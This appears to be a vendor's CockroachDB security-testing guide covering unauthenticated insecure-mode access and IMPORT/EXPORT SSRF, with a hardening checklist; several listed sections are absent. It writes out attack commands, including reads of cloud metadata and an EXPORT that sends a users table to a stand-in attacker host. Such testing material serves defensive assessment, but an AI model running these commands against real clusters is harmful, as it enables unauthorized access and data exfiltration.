CockroachDB Security Testing: Node Authentication Bypass, SQL Injection, and Privilege Escalation

CockroachDB is a cloud-native distributed SQL database designed for high availability and global consistency. Its distributed architecture introduces unique security challenges: the --insecure flag disables all TLS and authentication giving root access to anyone who can connect, inter-node communication using TLS certificates that when compromised allow rogue nodes to join the cluster and read all data, the HTTP admin UI on port 8080 exposing sensitive cluster metadata, SQL IMPORT and EXPORT statements accepting HTTP URLs that can be weaponized for SSRF, and privilege escalation via SQL GRANT ADMIN TO if any lower-privilege user holds inappropriate permissions. This guide covers systematic CockroachDB security assessment.

Table of Contents

  1. Insecure Mode Unauthenticated Access
  2. Node-to-Node TLS Bypass and Rogue Node Join
  3. HTTP Admin UI Exposure
  4. SQL Injection Testing
  5. ADMIN Role Privilege Escalation
  6. IMPORT/EXPORT SSRF
  7. CockroachDB Security Hardening

Insecure Mode Unauthenticated Access

# CockroachDB --insecure flag = no TLS, no password required, root access
# Default port: 26257 (SQL), 8080 (HTTP admin UI)

# Test insecure mode connection
cockroach sql --insecure --host=cockroach.example.com:26257 \
  --execute="SELECT version();" 2>/dev/null
# If connects without password = insecure mode confirmed

# Via psql (CockroachDB is PostgreSQL protocol compatible)
psql -h cockroach.example.com -p 26257 -U root \
  --no-password -c "SHOW DATABASES;" 2>/dev/null

# Enumerate all users and roles
cockroach sql --insecure --host=cockroach.example.com:26257 \
  --execute="SHOW USERS;" 2>/dev/null

# Check current privileges
cockroach sql --insecure --host=cockroach.example.com:26257 \
  --execute="SHOW GRANTS;" 2>/dev/null | head -20

# Read all databases and schemas
cockroach sql --insecure --host=cockroach.example.com:26257 \
  --execute="SELECT database_name FROM [SHOW DATABASES];" 2>/dev/null

IMPORT/EXPORT SSRF

# CockroachDB IMPORT and EXPORT statements accept external URLs
# If the database server has access to internal network, this enables SSRF

# Test IMPORT with HTTP URL pointing to metadata service
cockroach sql --insecure --host=cockroach.example.com:26257 \
  --execute="IMPORT TABLE ssrf_test (id INT PRIMARY KEY, data STRING) CSV DATA ('http://169.254.169.254/latest/meta-data/');" 2>/dev/null
# Error will reveal whether the request was made and what was returned

# Test EXPORT to attacker-controlled server
cockroach sql --insecure --host=cockroach.example.com:26257 \
  --execute="EXPORT INTO CSV 'http://attacker.example.com/exfil' FROM SELECT * FROM users LIMIT 1;" 2>/dev/null

# Test IMPORT from internal Kubernetes service
cockroach sql --insecure --host=cockroach.example.com:26257 \
  --execute="IMPORT TABLE k8s_test (id INT) CSV DATA ('http://kubernetes.default.svc.cluster.local/api/v1/');" 2>/dev/null
# Response error message may contain the API response content

CockroachDB Security Hardening

CockroachDB Security Hardening Checklist:
Security TestMethodRisk
Insecure mode enabledConnect via psql without password on port 26257Critical
IMPORT/EXPORT SSRF to metadata serviceIMPORT FROM 'http://169.254.169.254/...' — check error responseCritical
HTTP admin UI accessible without authcurl :8080/_admin/v1/nodes — returns cluster node dataHigh
ADMIN role privilege escalation via GRANTGRANT ADMIN TO low-priv-user — test if non-admin can escalateHigh
Rogue node join via compromised certStart CockroachDB node with stolen CA cert — joins clusterHigh
Application using root user in connectionInspect application DB connection strings for user=rootMedium

Automate CockroachDB Security Testing

Ironimo tests CockroachDB deployments for insecure mode unauthenticated root access, TLS certificate validation bypass for rogue node join, HTTP admin UI exposure, SQL injection in application code, ADMIN role privilege escalation via GRANT abuse, and IMPORT/EXPORT SSRF to cloud metadata services and internal APIs.

Start free scan